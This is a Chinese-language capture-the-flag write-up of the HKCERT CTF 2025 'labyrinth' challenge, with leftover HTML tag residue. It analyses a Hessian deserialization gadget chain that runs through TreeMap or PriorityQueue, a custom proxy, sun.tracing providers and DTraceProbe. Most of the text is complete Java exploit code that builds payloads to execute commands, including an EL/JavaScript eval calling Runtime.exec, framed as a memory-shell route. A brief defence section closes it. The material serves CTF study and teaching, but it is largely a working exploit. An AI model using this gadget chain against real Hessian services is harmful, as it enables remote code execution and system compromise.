HKCERT CTF 2025 labyrinth反序列化漏洞分析与利用<\/h1>

1. 环境依赖与题目背景<\/h2>

1.1 环境配置<\/h3>

反序列化入口<\/strong>: Hessian反序列化接口<\/li>
依赖版本<\/strong>: hessian-lite-4.0.5（最新版）<\/li>
关键类<\/strong>: 自定义代理类CustomProxy<\/code><\/li>

配置<\/strong>: 开启了setAllowNonSerializable(true)<\/code>，允许反序列化非Serializable<\/code>类<\/li> <\/ul> 1.2 题目特点<\/h3> 题目提供了一个Hessian反序列化入口，并引入了自定义的CustomProxy<\/code>类，该类规定了方法名必须为compareTo<\/code>，这为后续利用提供了基础。<\/p> 2. 漏洞利用链分析<\/h2> 2.1 整体利用链<\/h3> in.readObject()-> TreeMap.put()-> Comparable.compareTo()-> CustomProxy.compareTo(o)-> InvocationHandler.invoke(this, m3, {o})-> ProviderSkeleton.invoke-> ProviderSkeleton.triggerProbe-> sun.tracing.dtrace.DTraceProbe.uncheckedTrigger-> method.invoke(proxy,args)-> 构造方法(有参) <\/code><\/pre> 2.2 关键触发点<\/h3> 在Hessian反序列化过程中，关键触发点在于map.put<\/code>操作：<\/p> HashMap<\/strong>: 触发key.hashCode()<\/code>和key.equals(k)<\/code><\/li> TreeMap<\/strong>: 触发key.compareTo()<\/code><\/li> <\/ul> 3. TreeMap构造技术<\/h2> 3.1 序列化过程分析<\/h3> 当Hessian对反射构造的TreeMap进行序列化时，采用中序遍历<\/strong>（左-中-右）：<\/p> 左节点为空，先读取根节点（代理对象的构造方法参数）<\/li> 读取右节点（代理类）<\/li> <\/ol> 3.2 反序列化过程<\/h3> Hessian创建空TreeMap，读取第一个元素（代理对象的构造方法参数）<\/li> 执行treeMap.put(params, val)<\/code><\/li> 读取第二个元素，执行treeMap.put(Proxy, val)<\/code><\/li> 由于key是CustomProxy<\/code>，触发compareTo()<\/code>方法，传入参数为代理对象的构造方法参数<\/li> <\/ol> 3.3 TreeMap构造代码<\/h3> public<\/span> static<\/span> TreeMap<<\/span>Object,<\/span>Object><\/span> MyTreeMap<\/span>(<\/span>Object proxy,<\/span> Object params)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Class<?><\/span> e =<\/span> Class.<\/span>forName<\/span>(<\/span>"java.util.TreeMap$Entry"<\/span>);<\/span> <\/span><\/span> Constructor<?><\/span> declaredConstructor1 =<\/span> e.<\/span>getDeclaredConstructor<\/span>(<\/span>Object.<\/span>class<\/span>,<\/span> Object.<\/span>class<\/span>,<\/span> e);<\/span> <\/span><\/span> declaredConstructor1.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> Object a =<\/span> declaredConstructor1.<\/span>newInstance<\/span>(<\/span>params,<\/span> 1<\/span>,<\/span> null<\/span>);<\/span> <\/span><\/span> <\/span><\/span> Constructor<?><\/span> declaredConstructor2 =<\/span> e.<\/span>getDeclaredConstructor<\/span>(<\/span>Object.<\/span>class<\/span>,<\/span> Object.<\/span>class<\/span>,<\/span> e);<\/span> <\/span><\/span> declaredConstructor2.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> Object o1 =<\/span> declaredConstructor2.<\/span>newInstance<\/span>(<\/span>proxy,<\/span> 2<\/span>,<\/span> a);<\/span> <\/span><\/span> <\/span><\/span> Class<?><\/span> t =<\/span> Class.<\/span>forName<\/span>(<\/span>"java.util.TreeMap"<\/span>);<\/span> <\/span><\/span> TreeMap treeMap =<\/span> (<\/span>TreeMap)<\/span> t.<\/span>newInstance<\/span>();<\/span> <\/span><\/span> <\/span><\/span> Field size =<\/span> t.<\/span>getDeclaredField<\/span>(<\/span>"size"<\/span>);<\/span> <\/span><\/span> size.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> size.<\/span>set<\/span>(<\/span>treeMap,<\/span>2<\/span>);<\/span> <\/span><\/span> <\/span><\/span> Field root =<\/span> t.<\/span>getDeclaredField<\/span>(<\/span>"root"<\/span>);<\/span> <\/span><\/span> root.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> root.<\/span>set<\/span>(<\/span>treeMap,<\/span>a);<\/span> <\/span><\/span> <\/span><\/span> Field right =<\/span> e.<\/span>getDeclaredField<\/span>(<\/span>"right"<\/span>);<\/span> <\/span><\/span> right.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> right.<\/span>set<\/span>(<\/span>a,<\/span>o1);<\/span> <\/span><\/span> <\/span><\/span> return<\/span> treeMap;<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>4. 动态代理利用技术<\/h2> 4.1 CVE-2021-39149参考链<\/h3> java.util.LinkedHashSet java.lang.reflect.Proxy com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl sun.tracing.NullProvider sun.tracing.dtrace.DTraceProbe com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl <\/code><\/pre> 4.2 ProviderSkeleton分析<\/h3> sun.tracing.NullProvider<\/code>继承自ProviderSkeleton<\/code>抽象类，关键特性：<\/p> 没有实现invoker<\/code>方法，调用父类的invoke<\/code>方法<\/li> 需要设置active<\/code>、providerType<\/code>、probes<\/code>字段<\/li> <\/ul> 4.3 DTraceProbe利用<\/h3> DTraceProbe<\/code>的uncheckedTrigger<\/code>方法通过反射调用：<\/p> public<\/span> static<\/span> Object getDTraceProbe<\/span>(<\/span>Object proxy,<\/span> Method method)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Object dTraceProbe =<\/span> createWithoutConstructor(<\/span>Class.<\/span>forName<\/span>(<\/span>"sun.tracing.dtrace.DTraceProbe"<\/span>));<\/span> <\/span><\/span> setFieldValue(<\/span>dTraceProbe,<\/span>"proxy"<\/span>,<\/span> proxy);<\/span> <\/span><\/span> setFieldValue(<\/span>dTraceProbe,<\/span>"implementing_method"<\/span>,<\/span> method);<\/span> <\/span><\/span> return<\/span> dTraceProbe;<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>5. 最终利用方案<\/h2> 5.1 命令执行利用<\/h3> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Method exec =<\/span> FileCredentialsCache.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"exec"<\/span>,<\/span> String.<\/span>class<\/span>);<\/span> <\/span><\/span> exec.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> Object dTraceProbe =<\/span> getDTraceProbe(<\/span>FileCredentialsCache.<\/span>class<\/span>,<\/span>exec);<\/span> <\/span><\/span> <\/span><\/span> HashMap map =<\/span> new<\/span> HashMap();<\/span> <\/span><\/span> Method compareTo =<\/span> Comparable.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"compareTo"<\/span>,<\/span> Object.<\/span>class<\/span>);<\/span> <\/span><\/span> map.<\/span>put<\/span>(<\/span>compareTo,<\/span> dTraceProbe);<\/span> <\/span><\/span> <\/span><\/span> InvocationHandler handler =<\/span> (<\/span>InvocationHandler)<\/span> createWithoutConstructor(<\/span>Class.<\/span>forName<\/span>(<\/span>"sun.tracing.MultiplexProvider"<\/span>));<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "active"<\/span>,<\/span> true<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "providerType"<\/span>,<\/span> Class.<\/span>forName<\/span>(<\/span>Comparable.<\/span>class<\/span>.<\/span>getName<\/span>()));<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "probes"<\/span>,<\/span> map);<\/span> <\/span><\/span> <\/span><\/span> Object objCompareTo =<\/span> new<\/span> CustomProxy(<\/span>handler,<\/span> compareTo);<\/span> <\/span><\/span> deser(<\/span>MyTreeMap(<\/span>objCompareTo,<\/span>"calc"<\/span>));<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>5.2 EL表达式利用（内存马）<\/h3> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Class<?><\/span> elClass =<\/span> Class.<\/span>forName<\/span>(<\/span>"javax.el.ELProcessor"<\/span>);<\/span> <\/span><\/span> Object elInstance =<\/span> elClass.<\/span>newInstance<\/span>();<\/span> <\/span><\/span> Method evalMethod =<\/span> elClass.<\/span>getMethod<\/span>(<\/span>"eval"<\/span>,<\/span> String.<\/span>class<\/span>);<\/span> <\/span><\/span> Object dTraceProbe =<\/span> getDTraceProbe(<\/span>elInstance,<\/span>evalMethod);<\/span> <\/span><\/span> <\/span><\/span> HashMap map =<\/span> new<\/span> HashMap();<\/span> <\/span><\/span> Method method =<\/span> Comparable.<\/span>class<\/span>.<\/span>getMethod<\/span>(<\/span>"compareTo"<\/span>,<\/span> Object.<\/span>class<\/span>);<\/span> <\/span><\/span> map.<\/span>put<\/span>(<\/span>method,<\/span> dTraceProbe);<\/span> <\/span><\/span> <\/span><\/span> InvocationHandler handler =<\/span> (<\/span>InvocationHandler)<\/span> createWithoutConstructor(<\/span>Class.<\/span>forName<\/span>(<\/span>"sun.tracing.NullProvider"<\/span>));<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span>"active"<\/span>,<\/span> true<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "providerType"<\/span>,<\/span>Class.<\/span>forName<\/span>(<\/span>Comparable.<\/span>class<\/span>.<\/span>getName<\/span>()));<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "probes"<\/span>,<\/span> map);<\/span> <\/span><\/span> <\/span><\/span> String params =<\/span> """.getClass().forName("<\/span>javax.<\/span>script<\/span>.<\/span>ScriptEngineManager<\/span>").newInstance().getEngineByName("<\/span>JavaScript").eval("<\/span>java.<\/span>lang<\/span>.<\/span>Runtime<\/span>.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>'<\/span>calc'<\/span>)<\/span>")"<\/span>;<\/span> <\/span><\/span> Object objCompareTo =<\/span> new<\/span> CustomProxy(<\/span>handler,<\/span> method);<\/span> <\/span><\/span> TreeMap treeMap =<\/span> MyTreeMap(<\/span>objCompareTo,<\/span>params);<\/span> <\/span><\/span> deser(<\/span>treeMap);<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>6. 拓展利用技术<\/h2> 6.1 PriorityQueue替代方案<\/h3> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Object dTraceProbe =<\/span> createWithoutConstructor(<\/span>Class.<\/span>forName<\/span>(<\/span>"sun.tracing.dtrace.DTraceProbe"<\/span>));<\/span> <\/span><\/span> Method exec =<\/span> FileCredentialsCache.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"exec"<\/span>,<\/span> String.<\/span>class<\/span>);<\/span> <\/span><\/span> exec.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>dTraceProbe,<\/span>"proxy"<\/span>,<\/span> FileCredentialsCache.<\/span>class<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>dTraceProbe,<\/span>"implementing_method"<\/span>,<\/span> exec);<\/span> <\/span><\/span> <\/span><\/span> HashMap map =<\/span> new<\/span> HashMap();<\/span> <\/span><\/span> Method method =<\/span> Comparable.<\/span>class<\/span>.<\/span>getMethod<\/span>(<\/span>"compareTo"<\/span>,<\/span> Object.<\/span>class<\/span>);<\/span> <\/span><\/span> map.<\/span>put<\/span>(<\/span>method,<\/span> dTraceProbe);<\/span> <\/span><\/span> <\/span><\/span> InvocationHandler handler =<\/span> (<\/span>InvocationHandler)<\/span> createWithoutConstructor(<\/span>Class.<\/span>forName<\/span>(<\/span>"sun.tracing.NullProvider"<\/span>));<\/span> <\/span><\/span> Object objCompareTo =<\/span> new<\/span> CustomProxy(<\/span>handler,<\/span> method);<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span>"active"<\/span>,<\/span> true<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "providerType"<\/span>,<\/span>Class.<\/span>forName<\/span>(<\/span>Comparable.<\/span>class<\/span>.<\/span>getName<\/span>()));<\/span> <\/span><\/span> setFieldValue(<\/span>handler,<\/span> "probes"<\/span>,<\/span> map);<\/span> <\/span><\/span> <\/span><\/span> PriorityQueue queue =<\/span> new<\/span> PriorityQueue(<\/span>1<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>queue,<\/span> "size"<\/span>,<\/span> 2<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>queue,<\/span> "queue"<\/span>,<\/span> new<\/span> Object[]{<\/span>"calc"<\/span>,<\/span>objCompareTo});<\/span> <\/span><\/span> deser(<\/span>queue);<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>6.2 直接使用Proxy的挑战<\/h3> 尝试直接使用java.lang.reflect.Proxy<\/code>替代CustomProxy<\/code>时遇到问题：<\/p> 在getNode<\/code>方法中，first.key<\/code>与传入的key<\/code>不匹配（多出signature字段）<\/li> 最终返回null，利用失败<\/li> <\/ul> 7. 工具函数<\/h2> 7.1 反序列化函数<\/h3> public<\/span> static<\/span> void<\/span> deser<\/span>(<\/span>Object o)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> ByteArrayOutputStream baos =<\/span> new<\/span> ByteArrayOutputStream();<\/span> <\/span><\/span> Hessian2Output output =<\/span> new<\/span> Hessian2Output(<\/span>baos);<\/span> <\/span><\/span> output.<\/span>getSerializerFactory<\/span>().<\/span>setAllowNonSerializable<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> output.<\/span>writeObject<\/span>(<\/span>o);<\/span> <\/span><\/span> output.<\/span>flush<\/span>();<\/span> <\/span><\/span> output.<\/span>close<\/span>();<\/span> <\/span><\/span> <\/span><\/span> ByteArrayInputStream bais =<\/span> new<\/span> ByteArrayInputStream(<\/span>baos.<\/span>toByteArray<\/span>());<\/span> <\/span><\/span> Hessian2Input input =<\/span> new<\/span> Hessian2Input(<\/span>bais);<\/span> <\/span><\/span> input.<\/span>getSerializerFactory<\/span>().<\/span>setAllowNonSerializable<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> input.<\/span>readObject<\/span>();<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>7.2 反射工具函数<\/h3> \/\/ 创建无构造函数的对象 <\/span><\/span><\/span><\/span>public<\/span> static<\/span> Object createWithoutConstructor<\/span>(<\/span>Class clazz)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Object instance =<\/span> null<\/span>;<\/span> <\/span><\/span> Constructor constroctor =<\/span> clazz.<\/span>getDeclaredConstructor<\/span>();<\/span> <\/span><\/span> constroctor.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> instance =<\/span> constroctor.<\/span>newInstance<\/span>();<\/span> <\/span><\/span> return<\/span> instance;<\/span> <\/span><\/span>}<\/span> <\/span><\/span> <\/span><\/span>\/\/ 设置字段值 <\/span><\/span><\/span><\/span>public<\/span> static<\/span> void<\/span> setFieldValue<\/span>(<\/span>Object obj,<\/span> String fieldName,<\/span> Object value)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Field field =<\/span> obj.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>fieldName);<\/span> <\/span><\/span> field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> field.<\/span>set<\/span>(<\/span>obj,<\/span> value);<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>8. 防御建议<\/h2> 输入验证<\/strong>: 对Hessian反序列化输入进行严格验证<\/li> 黑白名单<\/strong>: 实现类加载的白名单机制<\/li> 依赖升级<\/strong>: 及时更新hessian-lite到安全版本<\/li> 安全配置<\/strong>: 避免开启setAllowNonSerializable(true)<\/code><\/li> 代码审计<\/strong>: 定期审计自定义代理类的安全性<\/li> <\/ol> 本教学文档详细分析了HKCERT CTF 2025 labyrinth题目的反序列化漏洞利用技术，涵盖了从基础原理到高级利用的完整知识体系。<\/p>